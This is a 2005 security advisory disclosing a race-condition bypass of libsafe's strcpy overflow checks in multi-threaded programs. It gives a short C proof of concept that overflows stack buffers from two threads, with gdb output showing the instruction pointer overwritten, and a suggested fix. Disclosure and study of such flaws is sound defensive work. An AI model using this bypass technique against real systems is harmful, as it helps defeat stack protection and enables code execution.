[Overflow.pl] Libsafe - Safety Check Bypass Vulnerability
Overflow.pl Security Advisory #2
Libsafe - Safety Check Bypass Vulnerability
URL: http://www.overflow.pl/adv/libsafebypass.txt
Date: 04.05.2005
1. Background
Libsafe is a library that protect critical elements of stacks
http://www.research.avayalabs.com/project/libsafe/
2. Description
Attacker can bypass libsafe checking and exploit vulnerability witch is in
multi-threaded aplication.
As a example look at the code situated at the safe function strcpy():
char *strcpy(char *dest, const char *src)
{
...
if (!real_strcpy)
real_strcpy = (strcpy_t) getLibraryFunction("strcpy");
...
if ((max_size = _libsafe_stackVariableP(dest)) == 0) {
LOG(5, "strcpy(<heap var> , <src>)\n");
return real_strcpy(dest, src);
}
...
if ((len = strnlen(src, max_size)) == max_size)
_libsafe_die("Overflow caused by strcpy()");
...
Function _libsafe_stackVariableP() checked length beetwen buffor and stack
frame. It should return 0 only in case when address does not point to a stack
variable. Look at the function code:
uint _libsafe_stackVariableP(void *addr) {
...
/*
* If _libsafe_die() has been called, then we don't need to do anymore
* libsafe checking.
*/
if (dying)
return 0;
...
Function _libsafe_die() is called then attack is detected, variable "dying" is
set and at least aplication is killed. In case of multi-threaded programs, it is
possible to make attack before the end of _libsafe_die(), during the time while
checking is not active.
3. Detection
Current libsafe version (2.0.16) is vulnerable.
4. FIX
Probably the code from function _libsafe_stackVariableP can be only deleted:
if (dying)
return 0;
5. PoC
#include <pthread.h>
#include <stdio.h>
int ok = 0;
void *func1(void *none)
{
char buf[8];
while(1)
{
if(!ok)
continue;
strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
break;
}
puts("func1 overflow!");
}
void *func2(void *none)
{
char buf[8];
ok = 1;
strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
puts("func2 overflow!!");
}
int main()
{
pthread_t t1, t2;
pthread_create(&t1, NULL, &func1, NULL);
pthread_create(&t2, NULL, &func2, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
return 0;
}
bash-2.05b$ gcc -o thread thread.c -pthread
Normal state is:
bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
uid=500 euid=500 pid=9235
Call stack:
0x40019b1c /lib/libsafe.so.2.0.16
0x40019c4b /lib/libsafe.so.2.0.16
0x80484f5 /home/thread
0x4002dc43 /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Killed
But then we run program many times:
bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
uid=500 euid=500 pid=9217
func1 overflow!
Call stack:
0x40019b1c /lib/libsafe.so.2.0.16
0x40019c4b /lib/libsafe.so.2.0.16
0x80484f5 /home/thread
0x4002dc43 /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Segmentation fault (core dumped)
or ...
bash-2.05b$ ./thread
func1 overflow!
Segmentation fault (core dumped)
Core:
bash-2.05b$ gdb thread core.9254
...
#0 0x41414141 in ?? ()
(gdb)